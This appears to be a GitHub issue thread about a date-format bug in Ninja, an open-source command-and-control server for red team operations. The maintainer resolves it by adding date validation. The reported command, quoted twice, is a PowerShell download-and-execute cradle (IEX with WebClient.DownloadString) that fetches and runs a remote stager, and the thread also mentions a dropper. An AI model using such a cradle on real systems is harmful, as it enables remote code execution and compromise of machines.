ahmedkhlief / Ninja

Open source C2 server created for stealth red team operations
776 stars 169 forks source link

Powershell Exception calling "ParseExact" #8

Closed fabianleonhen closed 4 years ago

fabianleonhen commented 4 years ago

Nice job on the update. I tried the new version 1.1, and am encountering the following issue: Entered command: IEX(New-Object Net.WebClient).DownloadString('http://192.168.1.1:1234/atom');

Exception calling "ParseExact" with "3" argument(s): "String was not recognized as a valid DateTime." At line:112 char:1

The dropper.exe is also exiting immediately, seems like there's an issue with the passed down powershell command.

ahmedkhlief commented 4 years ago

Please provide me with date variable in config.py as this error occurs when you specify wrong date format . I will fix this by adding date check .

On Tue, Jun 23, 2020, 11:55 AM fabianleonhen notifications@github.com wrote:

Nice job on the update. I tried the new version 1.1, and am encountering the following issue: Entered command: IEX(New-Object Net.WebClient).DownloadString(' http://192.168.1.1:1234/atom');

Exception calling "ParseExact" with "3" argument(s): "String was not recognized as a valid DateTime." At line:112 char:1

  • $kdate = [datetime]::ParseExact("","dd/MM/yyyy",$null)
    • CategoryInfo : NotSpecified: (:) [], MethodInvocationException
    • FullyQualifiedErrorId : FormatException

The dropper.exe is also exiting immediately, seems like there's an issue with the passed down powershell command.

— You are receiving this because you are subscribed to this thread. Reply to this email directly, view it on GitHub https://github.com/ahmedkhlief/Ninja/issues/8, or unsubscribe https://github.com/notifications/unsubscribe-auth/AF43ESBLUWL5WRB7USLOXGDRYBUYLANCNFSM4OFOFHTA .

ahmedkhlief commented 4 years ago

Done now the start_campaign.py script will check the entered date and validate it